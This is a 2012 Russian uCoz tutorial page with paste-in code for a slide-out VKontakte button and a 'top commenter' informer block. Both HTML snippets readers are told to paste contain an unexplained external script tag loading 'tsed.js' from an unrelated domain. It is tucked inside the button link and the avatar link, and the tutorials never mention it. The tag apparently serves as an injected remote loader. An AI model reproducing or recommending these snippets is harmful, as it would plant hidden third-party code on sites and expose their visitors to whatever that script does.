15 Декабря 2012 - Positiv.3DN.Ru » Все лучшее в интернете! - Читать бесплатно, без регистрации и смс

Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь. Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.





Главная » 2012 » Декабрь » 15
Описание: Скрипты для ucoz - Выдвижная кнопка ВКонтакте для uCoz

Этак кнопка будет находиться в правой части сайта. В состоянии покоя показывается только буква «В», а при наведении на эту самую букву выдвигается остальная часть, и теперь можно увидеть полную надпись, «ВКонтакте». Выдвижную кнопка ВКонтакте для uCoz можно установить и на сайте с другогим хостингом, пример Вы можете увидеть справа.

Установка

1.) Открываем Панель управления, находим Таблицу стилей (CSS), и вставляем вот этот код:

Code
#vkontakte_button img {  
  position: fixed;  
  top:125px;  
  right: -76px;  
  z-index: 99999;  
  cursor: pointer;  
  display: block;  
  }


2.) Следующий код вставляем в любое место на странице между head и /head:

Code
<script type="text/javascript">  
  $(function($) {  
  $("#vkontakte_button img").hover(  
  function () {  
  $(this).animate({right: '0'}, {queue:false, duration: 350});  
  //$(this).css('right', '0');  
  },  
  function () {  
  $(this).animate({right: '-76px'}, {queue:false, duration: 350});  
  // $(this).css('right', '-76px');  
  }  
  );  
  });  
  </script>  
  <a id="vkontakte_button" href="http://vkontakte.ru/id23....25" onclick="webChatOpen();return false;">  
  <img alt="ВКонтакте" src="http://bambun.ru/images/26762164.gif"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script>  
  </a>


Настройка скрипта

Находим строчку в скрипте вот такую: http://vkontakte.ru/id23....25 и заменяем на свой линк..

Вот и все, установка и настройка завершена.

Описание:

Лучший пользователь сайта для ucoz. Это ячейка, в которой находиться аватар пользователя и его общее количество комментарий, подойдёт для блогов, в которых пользователи боряться за право быть лучшим пользователем блога.
Установка
- заходим в админ панель сайта => Инструменты => Информеры => создать информер

- Раздел: ( пользователи )
- Способ сортировки: ( количество комментарий )
- Количество материалов: ( 1 )
- Количество колонок: ( 1 )
теперь открываем информер и копируем туда следующий код:

Code
<div class="comment_info transparency_i">
  <div class="comment_v">
  <a href="$PROFILE_URL$" title="Профиль пользователя $USERNAME$"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><?if($AVATAR_URL$)?><img class="avatar_img" src="$AVATAR_URL$" /><?else?><img class="avatar_img" src="http://bambun.ru/images/no_avat_ar.jpg" alt="no" /><?endif?>
  </a>  
  $USERNAME$
  </div>
   
  <div class="comment_n">
  <img src="http://bambun.ru/images/ico_coment.gif" alt="иконка комментария"> $COM_POSTS$
  </div>  
   
  </div>


и css стили

Code
.comment_info {
  text-align:center;
  font:9px Verdana,Arial,Helvetica, sans-serif; color:#85898f;
  width:100px;
  border:1px solid #d2d2d4;
  background: #e4e5e7;
  -webkit-border-radius: 5px;
  -moz-border-radius: 5px;
  border-radius: 5px;
  }
   
  .avatar_img {
  width:65px;
  height:65px;
  background: #fff;
  border:1px solid #d2d2d4;
  padding: 4px;
  margin-bottom: 3px;
  }
  .comment_v {
  border-bottom: 1px solid #d2d2d4;
  padding: 10px 0px 4px 0px;
  }
   
  .comment_n {
  border-top: 1px solid #fff;
  padding: 5px 0px 5px 0px;
  }
   
  .transparency_i a:hover img {
  filter: progid: DXImageTransform.Microsoft.Alpha(opacity=70);  
  -moz-opacity: 0.7;
  opacity: 0.7;  
  filter: alpha(opacity=70);
  }

Календарь
«  Декабрь 2012  »
ПнВтСрЧтПтСбВс
     12
3456789
10111213141516
17181920212223
24252627282930
31
Наш опрос
Что лучше для связи?
Всего ответов: 5
Статистика
Реклама